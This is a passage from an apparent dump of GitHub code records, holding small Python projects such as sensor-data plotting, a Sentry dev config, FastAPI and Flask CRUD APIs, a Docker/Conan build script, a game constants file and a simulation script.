\"driving-0-xgyro\": [],\n        \"driving-0-ygyro\": [],\n        \"driving-0-zgyro\": [],\n        \"driving-0-tgyro\": [],\n        \"standing-0-xgyro\": [],\n        \"standing-0-ygyro\": [],\n        \"standing-0-zgyro\": [],\n        \"standing-0-tgyro\": [],\n        \"walking-0-xgyro\": [],\n        \"walking-0-ygyro\": [],\n        \"walking-0-zgyro\": [],\n        \"walking-0-tgyro\": [],\n        \"jumping-0-xgyro\": [],\n        \"jumping-0-ygyro\": [],\n        \"jumping-0-zgyro\": [],\n        \"jumping-0-tgyro\": [],\n        \"driving-1-xgyro\": [],\n        \"driving-1-ygyro\": [],\n        \"driving-1-zgyro\": [],\n        \"driving-1-tgyro\": [],\n        \"standing-1-xgyro\": [],\n        \"standing-1-ygyro\": [],\n        \"standing-1-zgyro\": [],\n        \"standing-1-tgyro\": [],\n        \"walking-1-xgyro\": [],\n        \"walking-1-ygyro\": [],\n        \"walking-1-zgyro\": [],\n        \"walking-1-tgyro\": [],\n        \"jumping-1-xgyro\": [],\n        \"jumping-1-ygyro\": [],\n        \"jumping-1-zgyro\": [],\n        \"jumping-1-tgyro\": [],\n    }\n    return res\n\ndef main(csv_path):\n    # collect data from csv file\n    with open(csv_path, newline='') as csvfile:\n        datareader = csv.reader(csvfile, delimiter=',', quotechar='|')\n        # containers for the data\n        collector = build_dataDict()\n        for row in datareader:\n            if row[TEAM] != 'team6':\n                continue\n\n            # extract data from csv file\n            activity = row[ACTIVITY].lower()\n            index = row[FILE_INDEX]\n\n            collector[activity + \"-\" + index + \"-xmag\"].append(float(row[XMAG]))\n            collector[activity + \"-\" + index + \"-ymag\"].append(float(row[YMAG]))\n            collector[activity + \"-\" + index + \"-zmag\"].append(float(row[ZMAG]))\n            collector[activity + \"-\" + index + \"-tmag\"].append(float(row[TIME]))\n\n            collector[activity + \"-\" + index + \"-xaccl\"].append(float(row[XACCL]))\n            collector[activity + \"-\" + index + \"-yaccl\"].append(float(row[YACCL]))\n            collector[activity + \"-\" + index + \"-zaccl\"].append(float(row[ZACCL]))\n            collector[activity + \"-\" + index + \"-taccl\"].append(float(row[TIME]))\n\n            collector[activity + \"-\" + index + \"-xgyro\"].append(float(row[XGYRO]))\n            collector[activity + \"-\" + index + \"-ygyro\"].append(float(row[YGYRO]))\n            collector[activity + \"-\" + index + \"-zgyro\"].append(float(row[ZGYRO]))\n            collector[activity + \"-\" + index + \"-tgyro\"].append(float(row[TIME]))\n\n        # directory management\n        if not os.path.exists(\"graphs\"):\n            os.mkdir(\"graphs\")\n        \n        # at least 24 graphs in total (4 activities, 2 indexes, 3 variables)\n        figs = []\n        for activity in ['driving', 'walking', 'jumping', 'standing']:\n            for index in range(2):\n                for var in ['mag', 'gyro', 'accl']:\n                    print(activity + \" \" + str(index) + \" \" + var)\n                    fig = px.scatter_3d(x=collector[activity + \"-\" + str(index) + \"-x\" + var],\n                                        y=collector[activity + \"-\" + str(index) + \"-y\" + var],\n                                        z=collector[activity + \"-\" + str(index) + \"-z\" + var],\n                                        color=collector[activity + \"-\" + str(index) + \"-t\" + var])\n                    # fig.write_image(\"graphs/\" + activity + \"_\" + var + \"_\" + str(index) + \".png\")\n                    fig.update_layout(title=activity + \"_\" + var + \"_\" + str(index))\n                    figs.append(fig)\n        \n        for fig in figs:\n            fig.show()\n\n\nif __name__ == '__main__':\n    # plotly.io.orca.ensure_server()\n    # print(\"Waiting for server...\")\n    # time.sleep(10)\n    # print(\"Good to go!\")\n    main(sys.argv[1])\n    input(\"Press any key to continue...\")\n","repo_name":"takhogan/CMSC23400-Lab1","sub_path":"graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":6116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73795226488","text":"# flake8: noqa\nfrom sentry.conf.server import *\n\nimport os\nimport getpass\n\n\n# for this api docs only.  We\nSENTRY_APIDOCS_REDIS_PORT = 12355\nSENTRY_APIDOCS_WEB_PORT = 12356\nSENTRY_APIDOCS_REDIS_CONF = {\n    'host': '127.0.0.1',\n    'port': SENTRY_APIDOCS_REDIS_PORT,\n}\nSENTRY_APIDOCS_REDIS_OPTIONS = {\n    'hosts': {\n        0: SENTRY_APIDOCS_REDIS_CONF,\n        1: SENTRY_APIDOCS_REDIS_CONF,\n        2: SENTRY_APIDOCS_REDIS_CONF,\n        3: SENTRY_APIDOCS_REDIS_CONF,\n    }\n}\n\nSENTRY_URL_PREFIX = 'https://app.getsentry.com/'\n\n# Unsupported here\nSENTRY_SINGLE_ORGANIZATION = False\n\n\nDEBUG = True\nCONF_ROOT = os.path.dirname(__file__)\n\nDATABASES = {\n    'default': {\n        'ENGINE': 'django.db.backends.sqlite3',\n        'NAME': '/tmp/sentry_apidocs.db',\n    }\n}\nSENTRY_USE_BIG_INTS = True\n\nSENTRY_BUFFER_OPTIONS = SENTRY_APIDOCS_REDIS_OPTIONS\nSENTRY_CACHE_OPTIONS = SENTRY_APIDOCS_REDIS_OPTIONS\nSENTRY_QUOTA_OPTIONS = SENTRY_APIDOCS_REDIS_OPTIONS\nSENTRY_RATELIMITER_OPTIONS = SENTRY_APIDOCS_REDIS_OPTIONS\nSENTRY_TSDB_OPTIONS = SENTRY_APIDOCS_REDIS_OPTIONS\n\nSENTRY_CACHE = 'sentry.cache.redis.RedisCache'\n\nCELERY_ALWAYS_EAGER = True\nBROKER_URL = 'redis://localhost:%s' % SENTRY_APIDOCS_REDIS_PORT\n\nSENTRY_RATELIMITER = 'sentry.ratelimits.redis.RedisRateLimiter'\nSENTRY_BUFFER = 'sentry.buffer.redis.RedisBuffer'\nSENTRY_QUOTAS = 'sentry.quotas.redis.RedisQuota'\nSENTRY_TSDB = 'sentry.tsdb.redis.RedisTSDB'\n\nSENTRY_FILESTORE = 'django.core.files.storage.FileSystemStorage'\nSENTRY_FILESTORE_OPTIONS = {\n    'location': '/tmp/sentry-files',\n}\nLOGIN_REDIRECT_URL = SENTRY_URL_PREFIX + '/'\n\nSENTRY_WEB_HOST = '127.0.0.1'\nSENTRY_WEB_PORT = SENTRY_APIDOCS_WEB_PORT\nSENTRY_WEB_OPTIONS = {\n    'workers': 2,\n    'limit_request_line': 0,\n    'secure_scheme_headers': {'X-FORWARDED-PROTO': 'https'},\n}\n\nEMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'\n\nEMAIL_HOST = 'localhost'\nEMAIL_HOST_PASSWORD = ''\nEMAIL_HOST_USER = ''\nEMAIL_PORT = 25\nEMAIL_USE_TLS = False\n\nSERVER_EMAIL = 'sentry@getsentry.com'\n\nSECRET_KEY = 'super secret secret key'\n\nSENTRY_OPTIONS['system.admin-email'] = 'admin@getsentry.com'\nSENTRY_OPTIONS['system.url-prefix'] = SENTRY_URL_PREFIX\n","repo_name":"NetEaseGame/Sentry","sub_path":"api-docs/sentry.conf.py","file_name":"sentry.conf.py","file_ext":"py","file_size_in_byte":2161,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"77"}
+{"seq_id":"23507995358","text":"\"\"\"Mocks for sensor lifecycle\"\"\"\n\nGET_CONFIG_TEMPLATE_RESP = \\\n    \"\"\"[customer]\n    EncodedCompanyCode = ALSK12KHG83B110DKK\n    CompanyCode = ABCD1234\n    BackendServer = backendserver.org\"\"\"\n\nGET_SENSOR_INFO_RESP = {\n    \"sensor_infos\": [\n        {\n            \"sensor_type\": {\n                'device_type': 'LINUX',\n                'architecture': '64',\n                'type': 'SUSE',\n                'version': '1.2.3.4'\n            },\n            \"sensor_url\": \"https://SensorURL1\",\n            \"sensor_config_url\": \"https://SensorConfigURL1\",\n            \"error_code\": \"NoErr1\",\n            \"message\": \"Message1\"\n        },\n        {\n            \"sensor_type\": {\n                'device_type': 'MAC',\n                'architecture': '64',\n                'type': 'MAC',\n                'version': '5.6.7.8'\n            },\n            \"sensor_url\": \"https://SensorURL2\",\n            \"sensor_config_url\": \"https://SensorConfigURL2\",\n            \"error_code\": \"NoErr2\",\n            \"message\": \"Message2\"\n        }\n    ]\n}\n\nREQUEST_SENSOR_INSTALL_RESP = {\n    'type': \"INFO\",\n    'code': \"INSTALL_SENSOR_REQUEST_PROCESSED\"\n}\n","repo_name":"carbonblack/carbon-black-cloud-sdk-python","sub_path":"src/tests/unit/fixtures/workload/mock_sensor_lifecycle.py","file_name":"mock_sensor_lifecycle.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"77"}
+{"seq_id":"23415244228","text":"import tokenize\n\nimport yaml\n\n\ndef get_block_comments(file):\n    \"\"\"\n    Given that we have a file opened, we want to tokenize it. That is, we want\n    to iterate through the file and categorise every bit of syntax.\n\n    In our use case, we're only interested in the token_type of 3, which is\n    the \"type\" that block comments are given. On top of that, we're only\n    interested in block comments that contain the \"@api\" indicator.\n\n    This is one of the main core parts of this project, because applied\n    recursively to an entire directory, we get everything we need to build\n    our Swagger/OAS documentation, aside from some generic parsing bits and\n    pieces.\n\n    :param file: <_io.TextIOWrapper> (an opened but unread file)\n    :return: list\n    \"\"\"\n    comments = list()\n    for token_type, token, _, _, _ in tokenize.generate_tokens(file.readline):\n        if token_type == 3 and '@api' in token:\n            comments.append(token)\n    file.close()\n    return comments\n\n\ndef separate_block(comment):\n    \"\"\"\n    We have a comment but it's not much use as a big chunk of text.\n\n    This function simply strips away the opening and closing comment syntax\n    and then splits the first line from the second.\n\n    The meta elements (the first line) needs a bit of splitting up but as for\n    the rest, because it's straight YAML, we can just parse the entire block\n    without having to clean up or modify anything. Easy!\n\n    :param comment: list\n    :return: dictionary\n    \"\"\"\n    block = dict()\n    comment = comment.replace('\"\"\"\\n', '').replace('\\n\"\"\"', '')\n    block['meta'] = comment.split('\\n')[0]\n    block['body'] = '\\n'.join(comment.split('\\n')[1:])\n    return block\n\n\ndef parse_meta(block):\n    \"\"\"\n    All we need to do with the meta content is extract the HTTP method and\n    endpoint path.\n\n    Originally I uppercased the method here to be consistent with how methods\n    are portrayed eg post -> POST but this actually breaks the Swagger/OAS\n    spec it seems!\n\n    :param block: string\n    :return: dictionary\n    \"\"\"\n    meta = block.split(' ')\n    return {'method': meta[1], 'path': meta[2]}\n\n\ndef parse_body(block):\n    \"\"\"\n    The entire body should be syntactically correct YAML so all we need to do\n    is apply the PyYAML library and we get back a nice usable dictionary.\n\n    :param block: string\n    :return: dictionary\n    \"\"\"\n    return yaml.load(block)\n\n\ndef parse_block(comment):\n    \"\"\"\n    This is just a wrapper function that performs everything required to go\n    from a comment to a parsed dictionary ready for use in building our\n    Swagger/OAS definition\n\n    :param comment: string\n    :return: dictionary\n    \"\"\"\n    block = separate_block(comment)\n    meta = parse_meta(block['meta'])\n    body = parse_body(block['body'])\n    return {'meta': meta, 'body': body}\n\n\ndef read_comments(file):\n    \"\"\"\n    A function that just takes everything in this file and wraps it up into\n    a nice little bow.\n\n    Pass it an unread python file and it'll perform everything needed to get\n    back a list of parsed comments.\n\n    :param file: <_io.TextIOWrapper> (an opened but unread file)\n    :return: list\n    \"\"\"\n    comments = get_block_comments(file)\n    results = list()\n    for comment in comments:\n        block = parse_block(comment)\n        results.append(block)\n    return results\n\n\ndef get_file_comments(files):\n    \"\"\"\n    Once we have a list of files that we want to operate on, this function\n    iteratively performs everything we need to extract comments from a file.\n\n    We end up with a list of lists (one list for each file) which is a pain\n    in the bit so I also do a list comprehension at the end.\n\n    If it looks confusing, all it's doing is turning that list of lists into\n    one big list instead.\n\n    :param files: list\n    :return: list\n    \"\"\"\n    comments = []\n    for path in files:\n        with open(path, 'r') as file:\n            comments.append(read_comments(file))\n    return [item for sublist in comments for item in sublist]\n","repo_name":"marcus-crane/ipecac","sub_path":"ipecac/tools/extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":4004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"75120639287","text":"\nfrom fastapi import FastAPI, Response, status, HTTPException\n\nimport requests\n\nfrom fastapi.middleware.cors import CORSMiddleware\n\nfrom fastapi.encoders import jsonable_encoder\nfrom fastapi.responses import JSONResponse\n\nimport mysql.connector\n\nfrom projects import get_projects, mySQL_Connection\nfrom projectid import get_projectid\n\nfrom eaccoms import get_eaccoms\n\napp = FastAPI()\norigins = [\"*\"]\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=origins,\n    allow_credentials=True,\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"],\n)\n\n#  การอัพเดทฐานข้อมูลเกี่ยวกับโปรเจ็ค\n@app.put(\"/projects\")\nasync def update_project(data: dict):\n    projectId = data.get(\"project_id\")\n    projectName = data.get(\"project_name\")\n    projectAPI = data.get(\"project_url\")\n    projectKey = data.get(\"project_key\")\n    projectSection = data.get(\"project_section\")\n    \n    if not all ([projectName, projectAPI, projectKey, projectSection]):\n        raise HTTPException(status_code=400, detail=\"กรุณากรอกข้อมูลให้ครบถ้วนก่อนที่จะบันทึกลงฐานข้อมูล\")\n    try:\n        mySQL, myCursor = mySQL_Connection()\n        \n        stringDatabase = \"UPDATE `projects` SET `project_name` = %s, `project_url` = %s, `project_key` = %s, `project_section` = %s WHERE `projects`.`project_id` = %s\"\n        variableDatabase = (projectName, projectAPI, projectKey, projectSection, projectId)\n        myCursor.execute(stringDatabase, variableDatabase)\n        \n        mySQL.commit()\n        mySQL.close()\n        myCursor.close()\n        return JSONResponse(content=jsonable_encoder({\"message\": \"คุณได้อัพเดทข้อมูลลงฐานข้อมูลเรียบร้อยแล้ว\"}))\n    except mysql.connector.Error as err:\n        raise HTTPException(status_code=500, detail=str(err))\n    \n@app.delete(\"/projects/delete/{id}\")\ndef delete_project(id: int, respone: Response):\n    mySQL, myCursor = mySQL_Connection()\n    \n    stringDatabase = \"DELETE FROM `projects` WHERE `projects`.`project_id` = %s\"\n    val = (id, )\n    myCursor.execute(stringDatabase, val)\n    \n    mySQL.commit()\n    mySQL.close()\n    myCursor.close()\n    return JSONResponse(content=jsonable_encoder({\"message\": \"คุณได้ลบข้อมูลออกจากฐานข้อมูลเรียบร้อยแล้ว\"}))\n\n# การเพิ่มฐานข้อมูลเกี่ยวกับโปรเจ็ค\n@app.post(\"/projects/post\")\nasync def insert_user(data: dict):\n    Project_description = data.get(\"project_name\")\n    Project_api = data.get(\"project_url\")\n    Project_key = data.get(\"project_key\")\n    Project_section = data.get(\"project_section\")\n\n    if not all([Project_description, Project_api, Project_key, Project_section]):\n        raise HTTPException(\n            status_code=400, detail=\"กรุณากรอกข้อมูลให้ครบถ้วนก่อนที่จะบันทึกลงฐานข้อมูล\")\n    try:\n        mySQL, myCursor = mySQL_Connection()\n\n        Database = \"INSERT INTO `projects` (`project_name`, `project_url`, `project_key`, `project_section`) VALUES (%s, %s, %s, %s)\"\n        Variable = (Project_description, Project_api, Project_key, Project_section)\n        myCursor.execute(Database, Variable)\n\n        mySQL.commit()\n        mySQL.close()\n        myCursor.close()\n        return JSONResponse(content=jsonable_encoder({\"message\": \"คุณได้บันทึกลงฐานข้อมูลเรียบร้อยแล้ว\"}))\n    except mysql.connector.Error as err:\n        raise HTTPException(status_code=500, detail=str(err))\n\n# ดึงไอดีข้อมูลแก้ไขเกี่ยวกับโปรเจค\n@app.get(\"/EditForms/{id}\")\ndef read_project(id: int, response: Response):\n    return get_projectid(id, response)\n\n@app.get(\"/project/{id}\")\ndef read_project(id: int, response: Response):\n    return get_projectid(id, response)\n\n@app.get(\"/api/accoms/rooms\")\nasync def get_rooms():\n    url = \"https://demo.eaccom.net/api/v1/room/\"\n    response = requests.get(url)\n    data = response.json()\n    return data\n\n@app.get(\"/api/projects\")\ndef read_products():\n    products = get_projects()\n    return JSONResponse(content=jsonable_encoder(products))\n","repo_name":"iyou25/vicore","sub_path":"backend/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"9788949746","text":"from flask import Flask\nfrom flask.globals import request\nfrom flask_marshmallow import Marshmallow\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_restplus import Api, Resource, fields\n\n# from flask_marshmallow import base_fields\n\n# from flask_restplus import PostFormParameters\n\nfrom sqlite3 import Connection as SQLite3Connection\nfrom sqlalchemy import event\nfrom sqlalchemy.engine import Engine\n\nfrom datetime import datetime\n\napp = Flask(__name__)\napi = Api(app)\ndb = SQLAlchemy(app)\nma = Marshmallow(app)\n\n# Database config settings -- sqlite in this case\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = \"sqlite:///sqlite.db\"\napp.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\n\n# to enforce foreign key constraint in sqlite3\n@event.listens_for(Engine, \"connect\")\ndef _set_sqlite_pragma(dbapi_connection, connection_record):\n    if isinstance(dbapi_connection, SQLite3Connection):\n        cursor = dbapi_connection.cursor()\n        cursor.execute(\"PRAGMA foreign_keys=ON;\")\n        cursor.close()\n\n\nclass Todo(db.Model):\n\n    __tablename__ = \"todo\"\n    id = db.Column(db.Integer, primary_key=True)\n    title = db.Column(db.String(200))\n    complete = db.Column(db.Boolean, default=False)\n    created = db.Column(db.DateTime)\n\n\n# Serializer (Python object --> JSON and vice-verse)\nclass TodoSchema(ma.Schema):\n    class Meta:\n        fields = (\"id\", \"title\", \"complete\", \"created\")\n\n\ntodo_schema = TodoSchema()\ntodos_schema = TodoSchema(many=True)\n\n# Input arguments (Parameters) for Todo\n# class CreateTodoParameters(PostFormParameters):\n#     title = base_fields.String(description=\"Example: Todo Title\", required=True)\n\n#     class Meta(TodoSchema.Meta):\n#         fields = (\"title\",)\n\ntodo_fields = api.model(\"Todo\", {\"title\": fields.String})\n\nmarshal_fields = api.model(\n    \"Todo\",\n    {\"title\": fields.String, \"complete\": fields.Boolean, \"created\": fields.DateTime},\n)\n\n\n@api.route(\"/tasks\")\nclass TaskList(Resource):\n    @api.marshal_with(\n        marshal_fields\n    )  # return only the marshal fields using this decorator\n    def get(self):\n        tasks = Todo.query.all()\n        return todos_schema.dump(tasks), 200\n\n    @api.expect(todo_fields)  # provide same functionality as PostFormParameters\n    def post(self):\n        payload = request.get_json()\n        now = datetime.now()\n        new_task = Todo(title=payload[\"title\"], created=now)\n        db.session.add(new_task)\n        db.session.commit()\n\n        return {\"message\": \"task created\"}, 201\n        # new_task = todo_schema.load(api.payload)\n\n        # return {\"message\": \"task created\"}, 201\n\n\n@api.route(\"/tasks/<task_id>\")\nclass Task(Resource):\n    def get(self, task_id):\n        task = Todo.query.filter_by(id=task_id).first()\n        if task is None:\n            return {\"Error\": \"No task with input ID\"}, 400\n\n        return todo_schema.dump(task), 200\n\n    def put(self, task_id):\n        current_task = Todo.query.filter_by(id=task_id).first()\n        if current_task is None:\n            return {\"Error\": \"No task with input ID\"}, 400\n\n        current_task.complete = not current_task.complete\n        db.session.commit()\n        return {\"message\": \"task updated\"}, 201\n\n    def delete(self, task_id):\n        task = Todo.query.filter_by(id=task_id).first()\n        if task is None:\n            return {\"Error\": \"no task by input id\"}\n\n        db.session.delete(task)\n        db.session.commit()\n        return {\"message\": \"task deleted\"}, 201\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n","repo_name":"futurerahul/TODO_Flask_RESTPLUS_API","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"4739201048","text":"def convert(s, numRows):\n    \"\"\"\n    :type s: str\n    :type numRows: int\n    :rtype: str\n    \"\"\"\n    if numRows == 1: \n        return s\n    res = [[] for i in range(numRows)]\n    cnt = 1\n    zig_zag_dir = 1\n    for c in s:\n        print(cnt - 1)\n        res[cnt - 1].append(c)\n        cnt += zig_zag_dir\n        if cnt == numRows or cnt == 1:\n            zig_zag_dir *= -1\n        \n    return ''.join(e for res_l in res for e in res_l)\n\nprint(convert('ab', 1))","repo_name":"vuhonganh/coding_interview","sub_path":"LeetCode/python/zigzag_conversion.py","file_name":"zigzag_conversion.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"35014535037","text":"import docker\nimport string\nimport re\nimport tarfile\n\nfrom io import BytesIO, StringIO\n\nwindows = True\nif windows:\n    image = \"msvc15:local\"\n\n    setup_template = string.Template(\n        \"\"\"/s /c \\\" \\\n        conan remote clean \\\n        && conan remote add server $conan_url \\\n        && conan user -r server -p $conan_password $conan_user \\\n        \\\"\n        \"\"\"\n    )\n\n    source_template = string.Template(\n        \"\"\"sh -c \\\" \\\n        mkdir sonja \\\n        && cd sonja \\\n        && git init \\\n        && git remote add origin $git_url \\\n        && git fetch origin $git_sha \\\n        && git checkout FETCH_HEAD \\\n        \\\"\n        \"\"\"\n    )\n\n    build_template = string.Template(\n        \"\"\"sh -c \\\" \\\n        conan create $package_path $channel\n        \\\"\n        \"\"\"\n    )\nelse:\n    image = \"uboot/gcc9:latest\"\n\n    setup_template = string.Template(\n        \"\"\"sh -c \\\" \\\n        conan remote clean \\\n        && conan remote add server $conan_url \\\n        && conan user -r server -p $conan_password $conan_user \\\n        \\\"\n        \"\"\"\n    )\n\n    source_template = string.Template(\n        \"\"\"sh -c \\\" \\\n        mkdir sonja \\\n        && cd sonja \\\n        && git init \\\n        && git remote add origin $git_url \\\n        && git fetch origin $git_sha \\\n        && git checkout FETCH_HEAD \\\n        \\\"\n        \"\"\"\n    )\n\n    build_template = string.Template(\n        \"\"\"sh -c \\\" \\\n        conan create $package_path $channel\n        \\\"\n        \"\"\"\n    )\n\nf = BytesIO()\ntar = tarfile.open(mode = \"w\", fileobj = f)\ncontent = BytesIO(b\"echo 1\")\ntarinfo = tarfile.TarInfo(\"setup.py\")\ntarinfo.size = len(content.getbuffer())\ntar.addfile(tarinfo, content)\ntar.close()\n\nwith open(\"test.tar\", \"bw\") as t:\n    t.write(f.getbuffer())\n\nconan_user = \"agent\"\nconan_url = \"conan-server\"\nconan_password = \"demo\"\ndocker_image_pattern = (\"([a-z0-9\\\\.-]+(:[0-9]+)?/)?\"\n                        \"[a-z0-9\\\\.-/]+([:@][a-z0-9\\\\.-]+)$\")\ngit_url = \"https://github.com/uboot/sonja-backend.git\"\ngit_sha = \"ce8ad84282be5583989bdbdf0c42e95a53527657\"\npackage_path = \"./sonja/packages/hello/\"\npackage = \"hello\"\nchannel = \"@user/latest\"\n\nm = re.match(docker_image_pattern, image)\nif not m:\n    print(\"The image '%s' is not a valid docker image name\", image)\n\nsetup_script = setup_template.substitute(conan_url=conan_url,\n                                         conan_user=conan_user,\n                                         conan_password=conan_password)\nsource_script = source_template.substitute(git_url=git_url, git_sha=git_sha)\nbuild_script = build_template.substitute(package_path=package_path,\n                                         channel=channel)\n\nclient = docker.from_env()\n\nif not m.group(3) == \":local\":\n    client.images.pull_image(image)\n\n\nf.seek(0)\ntry:\n    setup = client.containers.create(image=image, command='/s /c \"dir C:\\\\Users\\\\ContainerAdministrator\"')\n    result = setup.put_archive(\"C:\\\\Users\\\\ContainerAdministrator\", data=f)\n    setup.start()\n    setup.wait()\n    setup.commit(repository=\"setup\", tag=\"local\")\n    setup.remove()\n\n    source = client.containers.create(image=\"setup:local\", command=source_script)\n    source.start()\n    source.wait()\n    source.commit(repository=\"source\", tag=\"local\")\n    source.remove()\n\n    info = client.containers.run(\n        image=\"source:local\",\n        command=\"conan inspect -a name -a version {0}\".format(package_path),\n        remove=True)\n    print(info)\n\n    build = client.containers.create(image=\"source:local\", command=build_script)\n    build.start()\n    build.wait()\n    build.commit(repository=\"build\", tag=\"local\")\n    build.remove()\n\n    reply = client.containers.run(\n        image=\"build:local\",\n        command=\"conan upload --confirm {0}\".format(\"package\"), remove=True)\n    print(reply)\n\nexcept Exception as e:\n    print(e)\n    pass\n\nclient.images.remove(\"setup:local\")\nclient.images.remove(\"source:local\")\nclient.images.remove(\"build:local\")\n","repo_name":"uboot/sonja-backend","sub_path":"playground/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":3912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"21919214175","text":"\"\"\"Constants of game\"\"\"\n\n#Size map\n#Nombers of sprite in the width\nNBR_SPRITE_WIDTH = 15\n#Nombers of sprite in the height\nNBR_SPRITE_HEIGTH = 16\n#Taille du sprite\nWIDTH_SPRITE = 40\n#Calculates the width and height of the window\nSIZE_SCREEN_WIDTH = NBR_SPRITE_WIDTH * WIDTH_SPRITE\nSIZE_SCREEN_HEIGTH = NBR_SPRITE_HEIGTH * WIDTH_SPRITE\n\n#ressource images\nTITLE_GAME = \"MacGyver Escape Game\"\n\nIMG_BFONT = \"ressource/Bfont.png\"\nIMG_BACK = \"ressource/Background.png\"\nIMG_MAC = \"ressource/MacGyver.png\"\nIMG_GARDIAN = \"ressource/Gardien_game.png\"\nIMG_FLOOR = \"ressource/Floor.png\"\nIMG_WALL = \"ressource/Wall.png\"\nIMG_DEPARTURE = \"ressource/floorstart.png\"\n\nIMG_MACWIN = \"ressource/win.png\"\nIMG_MACLOOSE = \"ressource/loose.png\"\n\nIMG_NO_ITEMS = \"ressource/no_items.png\"\nIMG_ITEMS_1_3 = \"ressource/items1_3.png\"\nIMG_ITEMS_2_3 = \"ressource/items2_3.png\"\nIMG_ITEMS_3_3 = \"ressource/items3_3.png\"\nIMG_PLASTIC_TUBE = \"ressource/tube_plastique_game.png\"\nIMG_ETHER = \"ressource/ether_game.png\"\nIMG_NEEDLE = \"ressource/aiguille_game.png\"\n","repo_name":"Bibjim/P3_MG_Pygame","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"10713642583","text":"#!/usr/bin/env python\r\n\"\"\"\r\nprints knights.txt to knights.xlsx\r\n\r\n\"\"\"\r\n\r\nimport openpyxl as px\r\n\r\nWB = px.Workbook()\r\nWS = WB.active\r\nWS.title = 'knights'\r\nHEADING = \"Name, Title, Favorite Color, Quest, Comment\".split(',')\r\n\r\nfor i, val in enumerate(HEADING):\r\n    WS.cell(row=1, column=i+1).value = val\r\n\r\nwith open('DATA/knights.txt') as knights_in:\r\n    for ROWVAL, row in enumerate(knights_in):\r\n        vals = row.rstrip('\\n').split(':')\r\n        for i, val in enumerate(vals):\r\n            WS.cell(row=ROWVAL+2, column=i + 1).value = val\r\n\r\nWB.save('knights.xlsx')\r\n","repo_name":"waiteb15/py3forsci3day","sub_path":"knights_to_spreadsheet.py","file_name":"knights_to_spreadsheet.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"36454448948","text":"import time\n\nimport numpy as np\nfrom matplotlib import rc\n\nrc(\"font\", **{\"family\": \"sans-serif\", \"sans-serif\": [\"Helvetica\"]})\nrc(\"text\", usetex=True)\nfrom pydrake.all import PiecewisePolynomial\n\nfrom qsim_old.simulator import QuasistaticSimulator\nfrom qsim_old.problem_definition_pinch import problem_definition\nfrom plotting import PlotForceDistance, PlotLeftFingerPosition\n\n# %%\nq_sim = QuasistaticSimulator(\n    problem_definition, is_quasi_dynamic=True, visualize=True\n)\n\n# %% new \"impedance robot\" formulation, which I think is correct.\n# define actuated trajectory\nr = problem_definition[\"r\"]\nh = problem_definition[\"h\"]\n\nq0 = np.array([0, r, -1.06 * r, 1.06 * r, 0])\n\nqa_knots = np.zeros((4, 3))\nqa_knots[0] = q0[2:]\nqa_knots[1] = [-0.9 * r, 0.9 * r, 0]\nqa_knots[2] = [-0.9 * r, 0.9 * r, -0.03]\nqa_knots[3] = [-0.9 * r, 0.9 * r, -0.03]\n\nn_steps = 35\nt_knots = [0, 8 * h, (8 + 15) * h, n_steps * h]\nq_traj = PiecewisePolynomial.FirstOrderHold(t_knots, qa_knots.T)\n\nt_contact_mode_change = [0.03, 0.13, 0.23]\n\nq = q0.copy()\nq_sim.update_visualizer(q)\nprint(q0)\ninput(\"start?\")\nlambda_n_log = []\nlambda_f_log = []\nq_log = [q0.copy()]\nqa_cmd_log = []\n\nfor i in range(n_steps):\n    q_a_cmd = q_traj.value((i + 1) * h).squeeze()\n    dq_a, dq_u, lambda_n, lambda_f, result = q_sim.step_lcp(q, q_a_cmd)\n\n    # Update q.\n    q += np.hstack([dq_u, dq_a])\n    q_sim.update_visualizer(q)\n\n    # logging.\n    lambda_n_log.append(lambda_n)\n    lambda_f_log.append(lambda_f)\n    q_log.append(q.copy())\n    qa_cmd_log.append(q_a_cmd)\n\n    time.sleep(h * 10)\n\nq_log = np.array(q_log)\nqa_cmd_log = np.array(qa_cmd_log)\nlambda_n_log = np.array(lambda_n_log)\nlambda_f_log = np.array(lambda_f_log)\n\n# %% compute data for plots\n\"\"\"\nlambda_n_log[i] is the impulse over [h*i, h*(i+1)]\n\"\"\"\nn_c = problem_definition[\"n_c\"]\ncalc_phi = problem_definition[\"calc_phi\"]\nJf_u = problem_definition[\"Jf_u\"]\nJf_a = problem_definition[\"Jf_a\"]\nJn_u = problem_definition[\"Jn_u\"]\nJn_a = problem_definition[\"Jn_a\"]\n\nt_sim1 = np.arange(n_steps + 1) * h\nt_sim = np.arange(n_steps) * h\nfriction_log = np.zeros((n_steps, n_c))\ncontact_velocity_log = np.zeros((n_c, n_steps))\nphi_log = np.array([calc_phi(q) for q in q_log])\n\nfor i in range(n_c):\n    idx = i * 2\n    friction_log[:, i] = lambda_f_log[:, idx] - lambda_f_log[:, idx + 1]\n\nJf = 